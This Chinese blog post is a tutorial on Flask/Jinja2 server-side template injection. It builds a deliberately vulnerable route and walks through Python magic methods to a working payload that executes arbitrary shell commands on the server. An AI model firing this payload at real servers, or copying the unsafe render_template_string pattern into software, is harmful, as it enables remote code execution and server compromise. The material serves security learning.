flask模板注入

概览

Flask是一个python的编写的轻量级Web应用框架,使用Jinja2作为渲染引擎。

当渲染的模板是用户可控的时候,就可能会造成模板注入(SSTI)

实例讲解

起一个简单的ssti网页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )

app = Flask(__name__)


@app.route("/ssti",methods=["GET","POST"])
def ssti():
code = request.args.get('s')
html = '<h1>after render:%s</h1>' % code
return render_template_string(html)

if __name__ == '__main__':
app.run('127.0.0.1', port=80, debug=False)

get传入s=ibukifalling,页面显示效果如下

但是此处利用jinja2的变量包裹标识符(双大括号)来构造的话

运算式被执行。如果输入的是js代码还可以造成xss

SSTI命令执行

先科普一下python的几个魔术方法

1
2
3
4
5
6
__class__  #返回类型所属的对象
__mro__ #返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ #返回该对象所继承的基类
__subclasses__ #每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ #类的初始化方法
__globals__ #对包含函数全局变量的字典的引用

使用示例如下(前面的那个是两个单引号不是双引号,是一个啥都没有的字符串)

_class_ 魔术方法返回类型所属的对象,此处的字符串返回了str类

__mro__魔术方法返回str类的基类,再尝试用__subclasses__返回引用

可以看到通过不断通过对象的继承关系层层递进,到此处已经有这么多类,其中很可能有我们可以利用的类。

1
2
3
4
5
num=0
for i in range(0, len(''.__class__.__mro__[1].__subclasses__())):
print("%d"%num,end="")
print(''.__class__.__mro__[1].__subclasses__()[i].__init__)
num+=1

寻找重载过的init类(不含wrapper字样)

翻字典,眼尖的话应该已经看到eval了,接下来要干的事大家已经心知肚明了

可以看到成功执行了命令

得到最终的payload:

?s={{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("the command you want to exec").read()')}}

那此时实质上攻击者已经可以令服务器执行任意命令,攻陷服务器易如反掌

基本上就是这样一个思路,通过不断利用魔术方法在类中跳转,寻找可以利用的关键函数

总结与感想

SSTI的payload不是一成不变的,不过理解原理之后结合脚本还是很容易能找出相应的payload的

条条大路通罗马,同一道题也可能有多个payloads存在

感觉对python这类面向对象的语言有了更进一步的认知,写脚本的能力也略微提升了一丶丶

接下来还要继续努力